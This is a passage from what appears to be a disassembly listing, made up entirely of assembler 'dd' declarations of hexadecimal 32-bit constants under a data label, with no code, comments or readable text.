		dd 590065E8h, 12A9895Ch, 21BD45Ah, 0B9B4C464h, 7C60C546h
		dd 0CD00542Ch, 0A75C62EBh, 79D44h, 95EDACDCh, 96E9B0A3h
		dd 0B70165F4h, 0F6F4CD4Ah, 0D8209708h, 0BE310017h, 19D9C075h
		dd 130035C1h, 0F1B9332Bh, 4AC765h, 3C57C5DCh, 0FBA21AA6h
		dd 0AA46BC17h, 65912C00h, 235401h, 0F13FE24Eh, 30694375h
		dd 1AE85501h, 26C0ACEBh, 0B4E024h, 0CF9E3334h, 9F142F32h
		dd 6E3AC407h, 0D9C0162Eh, 0E11D94h, 17E386AEh, 0EAC684ECh
		dd 930381E0h, 597A40ADh, 833ED096h, 3D750076h, 4361E1E7h
		dd 7B58EFF1h, 0CBB12E4h, 1867C09h, 73137FE2h, 0B0D03071h
		dd 4D2700EEh, 0A5655FD6h, 8600F3C3h, 791D680Bh,	9277D7h
		dd 0D695C927h, 43534570h, 0E8018800h, 0FED952B0h, 0C3FC56h
		dd 2649824Bh, 637536E1h
		dd 0B0481907h, 9691BEBAh, 5DD4CD52h, 0DD735Fh, 76BBF620h
		dd 82149F3Bh, 8840C600h, 9B50F1C9h, 7721887h, 0D9FD3678h
		dd 9739D13Eh, 0EA07D504h, 56D04AE4h, 9D7F7Ah, 7B34C0A9h
		dd 4CD5086Ah, 7B579B3Ch, 97DFB900h, 939A8899h, 3DD20068h
		dd 3B60BCB6h, 53A0A95h,	0B0DF80C8h, 5867FA13h, 978D00E9h
		dd 0BBDC75C4h, 0CCB2B5E2h, 0A6295500h, 278F5414h, 1249892h
		dd 28C5DD6Ah, 0D8EA1D7Fh, 0D52624C3h, 64005B9Ah, 69F55FFEh
		dd 0FACB00E6h, 8C8F9D63h, 9200293Fh, 0D64651F4h, 39DDA89Ch
		dd 4780CA6Eh, 52727E37h, 79B89F4Ch, 1F36021Eh, 6D652680h
		dd 1F69BD48h, 0DB0447h,	8E3B80C1h, 0E8007617h, 74AB6488h
		dd 3001C5D0h, 4074B709h, 1800447Ch, 0E847B62Ch,	7953BDh
		dd 7E7F3842h, 3234D803h, 7800617Fh, 0FA5E6572h,	79ECD6h
		dd 0D0886FCBh, 7BFB901Ah, 29827F07h, 0EDA032A8h, 531DC94h
		dd 1A7CC7C3h, 2D3E80ADh, 0ABB81F43h, 64B87A60h,	5CC98416h
		dd 78800Eh, 0F7B5358Eh,	78E7606Ch, 7AB2F400h, 1A40690Ch
		dd 646E0015h, 0F1133CC1h, 0D69821BFh, 12DDF02h,	0C0731735h
		dd 2AA80Eh, 3A684B5Dh, 6EB05904h, 80762379h, 2C33DA00h
		dd 0BE7631FBh, 0D09913E3h, 29FA00BBh, 843475CAh, 0C14C8D00h
		dd 0C5861149h, 2DF80078h, 0AA05A5B1h, 0D81680BFh, 0E6006D36h
		dd 7EB851F2h, 6A59036Bh, 5F4E2764h, 0E44BD1B0h,	8062B939h
		dd 0BE8B1621h, 36F0FABh, 37381322h, 67A0607Ah, 6900AF79h
		dd 98C04162h, 3807836h,	0A4AA7770h, 60E7551Ch, 0BA07B1Bh
		dd 2C31C10Eh, 0F127A0D7h, 691E26h, 8328F494h, 34DD58B3h
		dd 0EB5B1C28h, 0A7969900h, 0F4BB2D36h, 77A9007Bh, 20A1DC97h
		dd 0CB00633Ch, 0CAE2B247h, 0B4F5AFCh, 7C3935Ch,	0E859E400h
		dd 950106D2h, 854DB59Ch, 0C0D07089h, 0A7BE00C9h, 0C23DB624h
		dd 142CB802h, 0A400436Bh, 0C52ED563h, 0BD08007Dh, 77FB3B30h
		dd 287106DAh, 0EA1FD20Ch, 79029D3h, 8304E679h, 106A603Ch
		dd 0EF28C258h, 1F3CB32Dh, 0F6EBF34h, 0A07820B6h, 6C4A071h
		dd 580D0360h, 0B9A5F990h, 0B31B0CFh, 2D0933D8h,	0D1FFF8h
		dd 0BFBA526Ch, 0FA7F1F3Fh, 0DA63008Dh, 3ACF873Bh, 0BB9A6A09h
		dd 59640079h, 0BD9F7h, 0BC30D792h, 49C8E624h, 7A26EA00h
		dd 91A6CF88h, 90EC021Ch, 5E1A3EBDh, 6F136040h, 33D06500h
		dd 0E2664DA5h, 8A8800AFh, 0A8C68602h, 6C00DBEEh, 682791C7h
		dd 0B06FDF82h, 0DAC1007Dh, 93FE8DE7h, 0B571BF17h, 143ACA0Fh
		dd 0E99B805Ch, 3C152ADh, 13AFBCA9h, 9E80FA2Ch, 8703ED89h
		dd 37C031F3h, 409DFA39h, 7E510778h, 758F00D5h, 0CB68DE71h
		dd 3E7AAA70h, 93C15902h, 0D678DD20h, 1A61F5Ah, 4307EC94h
		dd 0FFD261E5h, 0BD603CD2h, 7B00EE59h, 0F572AA01h, 0FB4FFDh
		dd 78D5A476h, 839D6B88h, 0CB45A900h, 72EC2343h,	1A2B00B5h
		dd 80A866F2h, 0CF736E97h, 2C2CA779h, 8A0FC148h,	519D006Ah
		dd 9AEA7Fh, 7BA0423Ah, 61847CB3h, 0E0BA8A3Ah, 0BEB6EE62h
		dd 6CD00340h, 0DA9DF34Dh, 92CF3FC8h, 0FDB2F900h, 5178BF3Eh
		dd 508E20Fh, 52F4B377h,	3B100A5h, 4B4E868Fh, 839A6500h
		dd 8B1B53E7h, 75080770h, 0C0F15C0Ch, 165294F0h,	990181E6h
		dd 0E65683A1h, 5885BC2Ah, 198C01h, 66C043ACh, 607A1AEh
		dd 0DA28421Eh, 7751A6F0h, 0BB7D0064h, 637CFDEDh, 0AB00735Eh
		dd 4E0CC94Dh, 1703BC41h, 6A91AFh, 0FE23AD50h, 7F07F949h
		dd 3E8EA2A4h, 80672043h, 60ADB85Fh, 7ED4A904h, 35169AC6h
		dd 0EA000A60h, 0FF925606h, 85ED0174h, 0A482532Dh, 19C03BE3h
		dd 0EE398AF3h, 38C60175h, 686E41FDh, 8830C0B7h,	21F3500h
		dd 6C2AAC05h, 5218C057h, 60461781h, 507097h, 4DA4BD71h
		dd 0AD3A943Dh, 359C4C2Ch, 0BA247C00h, 7CAB8E7h,	0DE4806C9h
		dd 1D8DC211h, 0E38CA660h, 81DD2E00h, 24F396F4h,	0D29E00A6h
		dd 87BDFDC6h, 4028472Fh, 313B998Fh, 1AB78056h, 0E0E36478h
		dd 0D2F948BDh, 0EDC5E600h, 3ACE451Bh, 3683EA00h, 9B776469h
		dd 231A1258h, 51380054h, 0AB41D1BAh, 8486CE00h,	8ED9473h
		dd 0C6A4014Eh, 742BB756h, 0FBD7F809h, 54A69100h, 1855E571h
		dd 5FD0022h, 1C23DE0Bh,	497A5FA1h, 241A860Eh, 58268078h
		dd 0E7CD3Fh, 68FC1F33h,	6C2F1583h, 9373A400h, 0F73C3DB5h
		dd 0B33500E8h, 0D5FDF486h, 9E000D2Ch, 4FC4A80Eh, 1176475h
		dd 0E3A1317Bh, 6047B50Fh, 83C6B61h, 5A9680B1h, 0B91263EEh
		dd 0BE81004Ch, 0BF974401h, 580153EBh, 0AB9EDBA8h, 0F9FCE54Eh
		dd 0B8D4E826h, 5952006Fh, 48E20ED5h, 0D800B514h, 0DA64563Fh
		dd 4B5745h, 87D0E5D7h, 533918E3h, 30C7B600h, 1C8293F8h
		dd 67B4384Bh, 7ED91380h, 0F795C5ECh, 26E02B01h,	2235D6F6h
		dd 299CDCh, 846D27A5h, 5BD0DE30h, 9501D300h, 0D69832Dh
		dd 0F0FA7F60h, 0FC470F8Ch, 0BEF26E33h, 20CDCF09h, 38D90DCCh
		dd 62650017h, 23CE491Eh, 0B700B393h, 0AD367431h, 81C72Ch
		dd 3DF5E92Eh, 0FCF8881Dh, 0D000EBE8h, 0FDF0EC3Eh, 0FC9B53AEh
		dd 305B0159h, 22E6F1D6h, 8007E8F9h, 38E4A13Dh, 13631D27h
		dd 91DBD1C0h, 2815AAh, 3D640748h, 2102616Ch, 0D69C5D1Dh
		dd 0D0FE2780h, 713B315h, 0C6FB773Eh, 9ED9F095h,	0E5724BA8h
		dd 5708FE00h, 0FFC7641Ch, 0A2560A76h, 38C0DBA0h, 0C5EBE883h
		dd 78E85A44h, 3C0088D2h, 0F77C9BBFh, 38B9C00Dh,	6A006B80h
		dd 8D1BEFD9h, 9B3B4B81h, 0AE1C0701h, 7A10B037h,	48460807h
		dd 0CC136857h, 804C21B1h, 0F1A7F80Dh, 3B906700h, 7B94FB89h
		dd 6B70097h, 0BAC61577h, 0A3008E3Dh, 0EE426476h, 0EB65AF3h
		dd 127DF6ECh, 0D920C0EFh, 6D519827h, 0F5A86009h, 2213001Dh
		dd 2208BA7h, 28E7A437h,	0E0D51BDCh, 0FE55A281h,	2D6300DBh
		dd 0EE364E40h, 2503B237h, 788AA8D9h, 74F6D068h,	8FDF00F0h
		dd 8301FAC0h, 0C6006F93h, 28A91B03h, 2C6BE20Fh,	6C407AF0h
		dd 7100DE52h, 3108BF96h, 0AD1904h, 80C53525h, 57B52ECCh
		dd 0A5CD0A00h, 0B6867E92h, 950900B8h, 61C43AC3h, 0C700EEDDh
		dd 71186A64h, 36F7Ah, 213E23CBh, 292E0E79h, 5A467503h
		dd 8AB74898h, 0DDAC8110h, 0B8F4C1B0h, 885300FAh, 52C7AF5Eh
		dd 2A073D3Bh, 6E8EA168h, 0DF6C7B10h, 0AF5900B3h, 6489B551h
		dd 4300A496h, 3A61E6D4h, 1637494Eh, 735D4Bh, 0F3D0024Ch
		dd 1C84D136h, 3E0A8BE8h, 6016FA73h, 513FFC97h, 12004DB7h
		dd 99A19118h, 0EC9ACDDh, 82FBFD7Ah, 146B37A0h, 65001EB8h
		dd 0B1355B0Dh, 5F1FBCh,	9CA3C684h, 6B9D34ADh, 5B5AA803h
		dd 50C7FF98h, 4140CEh, 2B44C6F6h, 324224CAh, 757FC403h
		dd 0B0E30533h, 6CB0A8h,	299BEE2Ch, 0EAB81C45h, 0C1E83200h
		dd 8BF9E453h, 5A4C39F8h, 27EC0600h, 0D95BD6DFh,	7AC4D101h
		dd 0CF313B9Fh, 382FC4h,	22334F66h, 1BBD9D9Ch, 6E82F402h
		dd 4172780Ch, 60EEFE98h, 1235142h, 21A076E5h, 0F140D3EFh
		dd 0D5A020D2h, 1D45A800h, 0E4A56D3Dh, 1A98EDh, 0DCFF3E53h
		dd 3FB75B78h, 61510300h, 0CEB97A2Eh, 0A3DA0066h, 345DC742h
		dd 110BA59Ch, 85060C41h, 0F4C07612h, 7FC08D2h, 0ECF47FB0h
		dd 8009A5BBh, 9C3EFFE4h, 802AA312h, 0F5274000h,	0ABD68Dh
		dd 0F49F1563h, 0D3DE605Eh, 0CC6BE800h, 760ECEBDh, 3ACB0011h
		dd 30A6FD44h, 8A00E6EDh, 8C03AFD7h, 3CE5F88h, 0B1A9231Dh
		dd 3BA0C508h, 0F31CD76Ch
dword_52B048	dd 60C020FBh, 82CD679Fh, 7B9E58D0h, 6388DF00h, 0B7422179h
		dd 0E6EC7CB0h, 0C1C4F700h, 0AB40D43Dh, 0EE4D07A6h, 10C7E51Bh
		dd 0D6601C2Eh, 1D341400h, 214E8838h, 0F10D0AF2h, 0B85515h
		dd 473E56DBh, 850B60BDh, 78E3DFF4h, 37C23BD9h, 4327400Fh
		dd 6812EC60h, 5700EBF3h, 24601A4Ch, 83BA15h, 0E4887131h
		dd 29774816h, 5BB09DE0h, 890DF607h, 92B08A4Bh, 718D6473h
		dd 851700BFh, 1D8FACA0h, 8173D2FAh, 2170571Fh, 0F29AEC00h
		dd 48382042h, 0A00199CEh, 19777291h, 0E7C2EDA3h, 5D93C7A8h
		dd 34585B26h, 4003FF8Eh, 75ED9C41h, 125E27Fh, 98E96474h
		dd 0DDB12CFBh, 0F28BD469h, 0E653BE03h, 0F2A2CB3Ch, 6B14E03Fh
		dd 99C00060h, 87521D8Ah, 8B167C3Dh, 500E5AF6h, 582ECCCDh
		dd 30051CC4h, 47C507A6h, 0F0383760h, 0EBB4B1D9h, 48114200h
		dd 0D2BA8781h, 0F48D0052h, 6A93FA79h, 0D80102E9h, 172AEC71h
		dd 0B1CBE559h, 98E0090Ah, 0D5C81FB7h, 2F2840C1h, 71BCF2CBh
		dd 14AC3E00h, 0B9093433h, 83F4E4h, 9B3092C8h, 4522C22h
		dd 2E706A00h, 39B0F8CDh, 1FCE0354h, 715034E0h, 0A6223B98h
		dd 487C8AEEh, 674A4F17h, 7F5B2C00h, 38622ECBh, 0A800CFF7h
		dd 2833D504h, 6800DD25h, 0AF9669Ch, 174FEBE1h, 7BAE7DFh
		dd 21E687h, 601B0222h, 2D0AAE01h, 34894994h, 647C0EBh
		dd 1DEE01h, 0C886F456h,	1EBCE2C6h, 0ABD14200h, 0D512D0ECh
		dd 0FF550089h, 2AE5B9D7h, 0E10118B5h, 33FD7869h, 837E17ADh
		dd 0BAD99068h, 2C9DDC6Eh, 9AE77E0Eh, 103D072Bh,	0CC689480h
		dd 1CA70035h, 447E5EADh, 0E3770EF7h, 0D1124601h, 662694EDh
		dd 3B052DC8h, 16007686h, 0E8989B6Bh, 151DC648h,	5E401EC3h
		dd 0DE148563h, 11E40050h, 314CBA21h, 19001523h,	29BB8B4Fh
		dd 4BA77A57h, 64040001h, 0F8798878h, 2E004472h,	891980C0h
		dd 4895E5B0h, 785199h, 6982AC85h, 498666DFh, 0CC34B900h
		dd 132F99ECh, 38730226h, 5172104h, 51EBB460h, 0C4B7532Ch
		dd 37E59102h, 0D5FFC0C6h, 0B9AD007Ch, 84A94F6Ch, 38B88216h
		dd 93068304h, 0B8C0275Ch, 0E5E15BBh, 2092594Fh,	8FE12B47h
		dd 0A0C21B80h, 8930CF32h, 9C3A105Fh, 70050081h,	4EEEBF4Dh
		dd 0AAF27EE0h, 0F46A482Fh, 0BED1026Eh, 0FA60D4ADh, 1C38B1D8h
		dd 1F9C0C9Ah, 7E501Dh, 0FEAB6D72h, 0CCD983DBh, 9FF07F01h
		dd 9B8A6ED2h, 193D3A30h, 0A1844601h, 7FDE621h, 4367E1AEh
		dd 0FD0B9C30h, 1EA709E4h, 0B8809BC8h, 55ED4490h, 0D272E0C0h
		dd 72A9196Fh, 7A9C03DAh, 0C8E949B6h, 36643C88h,	7611E300h
		dd 0A06B741Eh, 0B4341EA4h, 61D100AEh, 604813B5h, 0E88F2F00h
		dd 0CB64CAFDh, 0BF120318h, 0B145438h, 32D1CEB8h, 0AB227205h
		dd 0A0003B04h, 0EE209BB2h, 364900B4h, 2478BD7Ah, 37E40755h
		dd 0AD0A461Dh, 89649B03h, 0DDCC091h, 6AEE0070h,	4B44AF54h
		dd 6C074931h, 1DF7E39Bh, 80B47C60h, 6B920090h, 88B6571Ah
		dd 0BC050AE2h, 76FC2EDBh, 0A83DE85Dh, 8C00DBDEh, 39FFC182h
		dd 92FEC08Ah, 5A96003Ch, 2F528DDCh, 6C00A641h, 0DE710666h
		dd 133EC19h, 0BC6ACFCDh, 0F49E5F56h, 0ACA8CED8h, 0FC0075F9h
		dd 0E027FD3Eh, 0C9F9079h, 9D147892h, 31038E20h,	0C26667FFh
		dd 90C680h, 0CEC626D4h,	49FBEF58h, 0D718BF62h, 57DC6195h
		dd 0EC91CCh, 9ED3FAE4h,	0FD63FE0Bh, 0FF303C00h,	0DE73EA06h
		dd 0F2DB0C5Dh, 56C01FCFh, 0D3DCF800h, 7BEF3275h, 466700EEh
		dd 0D79FCEC2h, 0DB0B163Ch, 879427F5h, 75D27357h, 0CD94A7DEh
		dd 0E16780B1h, 7F584FE0h, 0B67301C3h, 2301F67Fh, 2612C4CAh
		dd 17775677h, 0D4C9D800h, 0CD282BD2h, 53960098h, 0A2C0C19h
		dd 5900BD16h, 10315FD5h, 204DDAh, 0AE3A64A9h, 0C1A0E8EDh
		dd 7BCA6B00h, 7C0EE287h, 7383AF7h, 6F90FB00h, 5C883216h
		dd 0B10E9A7Ah, 4014CBE4h, 6253A71h, 764300B4h, 0E22D2C52h
		dd 0B9FE94E7h, 0AAA2BE1Eh, 0A540681Eh, 6799BB8Dh, 10920772h
		dd 0D0AB18D4h, 0C836D8B2h, 0CE4C3800h, 3078E751h, 0A8930073h
		dd 5664857Ah, 970040B2h, 57017F58h, 98A32F9Ah, 770A002Eh
		dd 52705E72h, 4B981590h, 0D6AEED07h, 0FBC06C55h, 1EBDC6FCh
		dd 406FD8ADh, 0D7F6E53h, 1607A640h, 663AD378h, 80E9FCB0h
		dd 19AD78B6h, 10F35B26h, 182DC00Dh, 8BDC7800h, 59D6C66Ch
		dd 0F4F20074h, 7D2C6863h, 800F8F9h, 525B31D9h, 158F072h
		dd 144D19C5h, 0E88D564Eh, 0AE7ED284h, 5C46C3Ah,	55D17178h
		dd 1D00DA1Eh, 98A1427Eh, 0E3650033h, 316C35AAh,	6F2C4AB1h
		dd 0AD006B97h, 0F8E5B6B8h, 7C8000BEh, 6C377F6Ah, 0FC744A42h
		dd 101C0CF8h, 4880AB7Dh, 0E9013616h, 0A7150054h, 30616EDFh
		dd 0C6016FC9h, 0FD52A225h, 4FFDD602h, 0EA66E560h, 539F00D4h
		dd 1D0F58F1h, 3200A16Ch, 0DAE23327h, 0F301AA3Eh, 0B9FBE0FDh
		dd 9FD46C2Dh, 35D4196Fh, 0E0D65830h, 2600B432h,	85BD0ACFh
		dd 7193ED0h, 4DC92FE5h,	84348187h, 122EC87Fh, 5D2D5A7Dh
		dd 302DF66Ch, 14440240h, 0FF013BF4h, 2152425Fh,	5120F6DFh
		dd 6FA0CF7Ch, 0CF9D9800h, 8600DE4Ah, 940ADA33h,	2829F8C5h
		dd 4844731Fh, 0CD00C76Ah, 64688731h, 0B130F96Fh, 157E207Ah
		dd 77760065h, 0C45E7FBFh, 540648B7h, 9AB246A1h,	33C60168h
		dd 0E68AABDBh, 0DA06F09Eh, 0E2EE570Eh, 824300FDh, 2928F31h
		dd 6D10E997h, 0B0A3F2F8h, 0D100EADEh, 18E15F7Ch, 607BCB82h
		dd 0DC8D58AAh, 1901E43Dh, 0E5F4E0E8h, 8AE82D1Ch, 44DA031Fh
		dd 7251F904h, 0C9A84003h, 8017EEEAh, 0D39856h, 817A8ABBh
		dd 290B0D99h, 720088F4h, 964C2EB1h, 0E3501Bh, 3DAB3C09h
		dd 6E59AAB6h, 89DA4F00h, 569A39EEh, 26CB00EDh, 412961B5h
		dd 9F06D5C2h, 361863A7h, 0AD690011h, 7E54B50Dh,	2B1E114Eh
		dd 0A80E4BB4h, 60F5E074h, 369E505h, 8BBB0C6Ah, 7DF0F36Bh
		dd 0E47A2E81h, 2800D0EAh, 16FF2CC6h, 43E1F8h, 0F2771002h
		dd 0F3634DB8h, 0B22FA60Fh, 62230195h, 0D820F96Bh, 4F1E0083h
		dd 0E90F8F11h, 400192EDh, 0F2853593h, 84CC56E8h, 7790C017h
		dd 0C367D942h, 0F326AA90h, 99120B60h, 0C6B3B03h, 2B24B03Fh
		dd 0FD170087h, 69D6D37Ah, 0CC389737h, 9E71003Eh, 0D5C3F2F6h
		dd 8330FD8h, 0C60F5514h, 0C20C7540h, 0A7009AD6h, 9972B069h
		dd 0C06A0D45h, 7A781C59h, 2E43FD10h, 21225C11h,	1B10B8DAh
		dd 6E1E1062h, 5C5B7384h, 8C70F848h, 0FDE00E20h,	0D5C01218h
		dd 893AE859h, 5940B0FEh, 8156CF98h, 0C310C66Ah,	0D5E408Ah
		dd 0E8886B7Dh, 0FDDDA0D5h, 2CB05066h, 3EB82038h, 4074243h
		dd 0A00F6BAAh, 3EF1E67Dh, 32111D01h, 64E9662Ch,	0F8E01EDCh
		dd 44060C37h, 0EF103C67h, 68D67D00h, 0EA5B6C26h, 254C010Fh
		dd 5E249250h, 0DC80E36Eh, 61000EB2h, 0ECBD1BF8h, 3DFD1A65h
		dd 7A8039C8h, 0EB731E3Fh, 31000D07h, 0E978B8BDh, 0A0493Eh
		dd 41FC5580h, 8191222h,	0BE4A7C00h, 0ACCAD865h,	0C25803DEh
		dd 0E0E99507h, 53AF13E8h, 2BB5E400h, 7499379Fh,	0A83E60B2h
		dd 0BD97B869h, 0ED7FA800h, 334276Ah, 4BD10C65h,	0EEF0EBD0h
		dd 1632700Eh, 0ADC44082h, 0D1C795h, 5B4ECF6Ch, 6859F7FAh
		dd 0E760E118h, 0C0E8BF30h, 3011E08h, 55009A0Dh,	642AD154h
		dd 60F2880h, 0FBCBF1D5h, 8B7B29EAh, 94AB900h, 4CA91A64h
		dd 0DFBD03C3h, 0D132507Dh, 0CDA13B88h, 3CB09700h, 9CE903F1h
		dd 0F8F026h, 6CEF3FCEh
		dd 0D458562Ch, 8107E073h, 7B441C93h, 0D7C334D0h, 0E9E0BAh
		dd 0E4898B75h, 92360704h, 770058ACh, 70B6B1B3h,	1E0DE61Bh
		dd 7B6D809Fh, 63871C02h, 60C051DEh, 0B001328Fh,	4F8D83F2h
		dd 418FE105h, 796E075h,	7087CE96h, 46BDD2A0h, 4BA74500h
		dd 44684F1Dh, 0F848094Ch, 0C80BCFAh, 0EFFE05CAh, 40ABA0Fh
		dd 0C21D801Bh, 7415A8E9h, 0CBB900A5h, 0CC3B1C0Bh, 7C07AF3Ah
		dd 8152D7EDh, 0BB563E40h, 7A72CBh, 2367FC65h, 6BDFE679h
		dd 0AE8A300h, 0DDF83AE3h, 1D1907E9h, 81B570h, 503992D4h
		dd 8C00D274h, 79E9ECF5h, 39E0F94Dh, 6ABD8B01h, 0FB2A4909h
		dd 6BEAE880h, 48CF1D61h, 2C08AA5Bh, 1376A740h, 0FFB11059h
		dd 5293A07Eh, 671D0CFBh, 3DD1DE25h, 58708673h, 0D71C8807h
		dd 8C2F92EEh, 0F0AD20EBh, 0A18118BBh, 46B10BAh,	770F49E2h
		dd 7B0FD05h, 0F3466E27h, 0FF890051h, 2D756104h,	0CE008DE3h
		dd 3B62DB7Bh, 0AC6BE0h,	0BE59F376h, 0F1C3DCE8h,	1E0138F2h
		dd 0E9C149D1h, 0B44C27E7h, 913B048Dh, 327DC739h, 0D1E05F72h
		dd 6505E89Dh, 9C07F06Dh, 0D0E78DC1h, 8B80B9BBh,	49BFD8B8h
		dd 5F71A8A2h, 0F30F9CA0h, 0A7B1A105h, 0D5183B9Dh, 2492CF88h
		dd 30D9CC2Eh, 0FBDD8610h, 9C8AA202h, 87C96F31h,	0DFD04FA1h
		dd 779827h, 8A96F60Bh, 8F55C82h, 957C97EEh, 0F87A5300h
		dd 0B4113EBDh, 1D7D2Fh,	1B6FADAEh, 81790ECCh, 51C4DD06h
		dd 29F228h, 0F61E5D38h,	0E53483A1h, 2D0022F0h, 1CD6F43Ch
		dd 0E315BC8h, 5EC656B3h, 0E84E7020h, 8500F1FBh,	0AFABF2DFh
		dd 31AD88h, 0F9B92478h,	2F825C34h, 0DF0352E6h, 0AD3E9432h
		dd 4E308073h, 4CA20318h, 50D4D193h, 7EFE0CD8h, 6B92A800h
		dd 0A7FA4F87h, 0FDA50843h, 0D20395D6h, 0EBFF8CCFh, 9A84C8D8h
		dd 2DA30077h, 576E697Ch, 0D100C483h, 304F05F0h,	170A0A6h
		dd 0DA668CD0h, 0C4A42810h, 5600CB35h, 37B6770Ah, 50FBB2A0h
		dd 50DDA4AAh, 0A21BFAFh, 0C8E5A58Ch, 7DB700BCh,	41100468h
		dd 5B00F372h, 4B0A1D1Ch, 0D9CDE6h, 0D2A953E2h, 0ADEA46BAh
		dd 61595800h, 5D3F401Eh, 50553F38h, 232C5C00h, 5A8E946Bh
		dd 38C3738h, 74ABB66Ch,	5EEB8852h, 0A68400B1h, 0C387B8DFh
		dd 53E230Ah, 91A78092h,	0F89F2467h, 0D12800ECh,	0BBB948A4h
		dd 4400DB09h, 0CBA6BF9Ch, 0FC85ED8Bh, 77970067h, 27FF2F60h
		dd 0F2EAD437h, 0ACE691ECh, 225E9300h, 512415C3h, 0C47DB2h
		dd 0FEA9BD69h, 0B1B49D68h, 855BE00h, 95ABD144h,	3CD800E7h
		dd 7CFE84F6h, 673841BAh, 75060007h, 27D59816h, 35B11FEBh
		dd 84440F2Ah, 9FC52260h, 0D00E82ECh, 8041BD62h,	0B2BC918Dh
		dd 2E940034h, 4A3063FEh, 683FD142h, 0DA9080FAh,	9433DC5Eh
		dd 27722CFFh, 84900AEh,	1F860FC0h, 4BC78300h, 0D19FA53Dh
		dd 2B9600F4h, 0BA2E3AA7h, 0BF009BDFh, 0F3D98F5Eh, 75D1947Ah
		dd 293F0EB5h, 90407FA4h, 518E414Ah, 5B006376h, 64062B83h
		dd 0FCA25D35h, 22210ECBh, 0A4E77DDDh, 3C445013h, 0C5005475h
		dd 3D9ABCC1h, 0F1C1012h, 0FB50BECBh, 0D1922340h, 0FC007440h
		dd 9FCE07F4h, 46F373h, 35D49124h, 8596EE49h, 6D579000h
		dd 97A2D14Bh, 0F8D590B2h, 0C568009Eh, 50CD2EBCh, 0CF002BDAh
		dd 8028F15Ah, 0FA6C8Eh,	0A4086537h, 943CE9Fh, 0F0E6C351h
		dd 25000B13h, 64AE8980h, 0EFF387h, 4066DE9Fh, 0F94A27FBh
		dd 88E6DF7Eh, 0C08E7E0Eh, 0BBA9A072h, 4C6379h, 23335E35h
		dd 0A38BC9A5h, 83FE3E6h, 3C7F80B9h, 250D2E20h, 0BE8005Ch
		dd 0DC682DCDh, 1B00DAFBh, 9FABD4Fh, 0E09530F6h,	0C1D90EE3h
		dd 94616DA5h, 40747B18h, 0A2E4828Fh, 0C6BC9600h, 4941E3F2h
		dd 88D50E45h, 0D6A02DD9h, 4ED8E89Ch, 0DD043Bh, 4244EA73h
		dd 6657C8h, 0CA19EE0Ah,	7B9BAE14h, 8517F701h, 0CFFD3E92h
		dd 0C0E64AC1h, 98597C42h, 0EA35008Ch, 39D36E93h, 0AC12A149h
		dd 0EC0094D4h, 61D6F837h, 0F9AA2E96h, 48EB00D0h, 794B0715h
		dd 5070CFE6h, 6B6C1B00h, 0E3C138B4h, 0EE410084h, 3519AA2Fh
		dd 1D3B3C74h, 60CA80FDh, 4A3299D2h, 45C000BCh, 99B4003h
		dd 9400CCB2h, 935731F8h, 1F3DF2A4h, 80BEE4D9h, 0ED51CB02h
		dd 8503431Dh, 0FB533C84h, 3A280041h, 0A92B0736h, 9930D196h
		dd 162D846h, 45BE0027h,	67B9F60Ah, 70485D3Dh, 0A11F80D0h
		dd 77E3337h, 0F19A289Ch, 0DE3630CDh, 0D20024D1h, 4813C567h
		dd 7F894966h, 423D07ADh, 0E025532Ch, 2E935001h,	4B669400h
		dd 0D8300972h, 750400DDh, 95B962BCh, 0BD009D80h, 0EE5060D6h
		dd 1037CFh, 0E2CDF9C9h,	4D011848h, 0CB9D4C07h, 0FDA1AE9Eh
		dd 0B0F75D69h, 0FCAA9EEh, 1DC440EDh, 0D479A020h, 780F1BB7h
		dd 9DDEBFC1h, 0FA99A383h, 1064C039h, 0BE49008Bh, 7D88B8F1h
		dd 0D200A509h, 0CB81294Dh, 52AF8Dh, 0F31C3E5Fh,	8CC2C8DCh
		dd 4AEDF901h, 3AB2F8Eh,	5E17F0h, 0F54B5D0Ch, 5FD2096h
		dd 6120509Ah, 3D17D28h,	0B5B874BAh, 7AA0BE31h, 0D803DCDEh
		dd 866AA504h, 5BFAC006h, 15E690h, 4E8B2366h, 0A7086011h
		dd 9EAE9300h, 3EABEBCDh, 0EE33E5Dh, 8D820B8h, 0A97BEF01h
		dd 0C998481Bh, 5AFEE489h, 3500937Ch, 0F3C8649Bh, 0E47A280Bh
		dd 0BBB500B7h, 5311E789h, 620FD4F1h, 600AF61Ah,	8FBD80DCh
		dd 2A5200DBh, 8163E321h, 370001FDh, 0CAB41899h,	0F12C3B5h
		dd 0C443085Bh, 0CCAE5462h, 0EC778861h, 90EE8DC8h, 0B637B907h
		dd 5AE015DAh, 0C44168h,	0BDE9FF7Fh, 1FAC34AEh, 0DD83D600h
		dd 994A4D08h, 0E655012Bh, 2368EF69h, 328B208Fh,	5D6F7705h
		dd 2CC03524h, 49830Bh, 0BCF0C91Ah, 71CB7246h, 1E1C2972h
		dd 0F618FA15h, 5DF95088h, 0D0750CCh, 40CA8F4Fh,	2AED8CD7h
		dd 1469A0Ch, 281F2191h,	0F0DCC742h, 0E32CA0CEh,	861500ACh
		dd 0AE8EC9BAh, 7F002F51h, 83B58BFh, 760ECA4Fh, 4CB401A5h
		dd 1119B823h, 62AE8A7h,	0C37C16B0h, 700C1A03h, 90C7BB1Dh
		dd 444CA2Ch, 53169F73h,	0F910D0EAh, 0B9017AE9h,	0D8BBAF62h
		dd 408029E3h, 4FAD2474h, 54A1DC08h, 10F4FD0Dh, 946A068h
		dd 0A49FA7F8h, 0EDD6E80h, 0DF00DBFDh, 4E050DC4h, 3A25CA0Bh
		dd 9300718Eh, 17AB4658h, 0E874A279h, 4EA1C705h,	0B28006DCh
		dd 1DD21D92h, 0FD2B05h,	0A10F1A9Bh, 0CF0AAE78h,	0BB58CDEFh
		dd 229F1D00h, 0BF6160h,	51C08FC5h, 80E37AA8h, 0BBA6900h
		dd 0CAE76CCCh, 0B9E1C7DFh, 0DE18371h, 266A85B8h, 5C052A00h
		dd 4961EBBAh, 0A8A700F5h, 520332E2h, 0BD0016D8h, 185EF36Ch
		dd 142B51A3h, 0EC0FA544h, 7F0DE00h, 7788A2FAh, 0D2BF3Ah
		dd 64A6C782h, 4C7AB58Fh, 0FA002166h, 49D82227h,	0A45415B7h
		dd 260111A0h, 0DB3AC4E0h, 78F4EB8Ah, 4C71001Fh,	51F22D64h
		dd 92283D40h, 0F600C753h, 0A28ECD85h, 0EE54DB81h, 9C6302Dh
		dd 86AB8388h, 0A1E9D300h, 0D62564CEh, 8E3348ACh, 9915E200h
		dd 861230E3h, 324A201h,	585EC546h, 0A051FB70h, 9A2048h
		dd 0DE5486B0h, 0EAB6DE9h, 4C894Ch, 0B26190C9h, 2DC5A6CAh
